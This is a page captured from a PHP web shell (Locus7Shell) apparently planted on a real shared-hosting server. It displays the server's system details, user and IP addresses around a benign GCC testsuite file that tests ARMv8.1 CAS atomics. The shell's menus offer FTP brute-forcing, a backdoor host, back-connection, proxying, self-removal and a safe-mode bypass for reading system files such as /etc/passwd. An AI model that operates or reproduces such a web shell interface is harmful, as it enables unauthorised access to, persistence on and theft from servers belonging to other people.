Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/aarch64/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     atomic-inst-cas.c (2.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do compile } */
/* -Winvalid-memory-model warnings are issued before the dead invalid calls
   are removed.  */
/* { dg-options "-O2 -march=armv8-a+lse -Wno-invalid-memory-model" } */

/* Test ARMv8.1-A CAS instruction.  */

#include "atomic-inst-ops.inc"

#define TEST TEST_TWO

#define CAS_ATOMIC(FN, TY, MODEL1, MODEL2)                \
  int FNNAME (FN, TY) (TY* val, TY* foo, TY* bar)            \
  {                                    \
    int model_s = MODEL1;                        \
    int model_f = MODEL2;                        \
    /* The success memory ordering must be at least as strong as    \
       the failure memory ordering.  */                    \
    if (model_s < model_f)                        \
      return 0;                                \
    /* Ignore invalid memory orderings.  */                \
    if (model_f == __ATOMIC_RELEASE || model_f == __ATOMIC_ACQ_REL)    \
      return 0;                                \
    return __atomic_compare_exchange_n (val, foo, bar, 0, model_s, model_f); \
  }

#define CAS_ATOMIC_NORETURN(FN, TY, MODEL1, MODEL2)            \
  void FNNAME (FN, TY) (TY* val, TY* foo, TY* bar)            \
  {                                    \
    int model_s = MODEL1;                        \
    int model_f = MODEL2;                        \
    /* The success memory ordering must be at least as strong as    \
       the failure memory ordering.  */                    \
    if (model_s < model_f)                        \
      return;                                \
    /* Ignore invalid memory orderings.  */                \
    if (model_f == __ATOMIC_RELEASE || model_f == __ATOMIC_ACQ_REL)    \
      return;                                \
    __atomic_compare_exchange_n (val, foo, bar, 0, model_s, model_f);    \
  }

TEST (cas_atomic, CAS_ATOMIC)
TEST (cas_atomic_noreturn, CAS_ATOMIC_NORETURN)


/* { dg-final { scan-assembler-times "casb\t" 4} } */
/* { dg-final { scan-assembler-times "casab\t" 20} } */
/* { dg-final { scan-assembler-times "caslb\t" 4} } */
/* { dg-final { scan-assembler-times "casalb\t" 36} } */

/* { dg-final { scan-assembler-times "cash\t" 4} } */
/* { dg-final { scan-assembler-times "casah\t" 20} } */
/* { dg-final { scan-assembler-times "caslh\t" 4} } */
/* { dg-final { scan-assembler-times "casalh\t" 36} } */

/* { dg-final { scan-assembler-times "cas\t" 8} } */
/* { dg-final { scan-assembler-times "casa\t" 40} } */
/* { dg-final { scan-assembler-times "casl\t" 8} } */
/* { dg-final { scan-assembler-times "casal\t" 72} } */

/* { dg-final { scan-assembler-not "ldaxr\t" } } */
/* { dg-final { scan-assembler-not "stlxr\t" } } */
/* { dg-final { scan-assembler-not "dmb" } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]--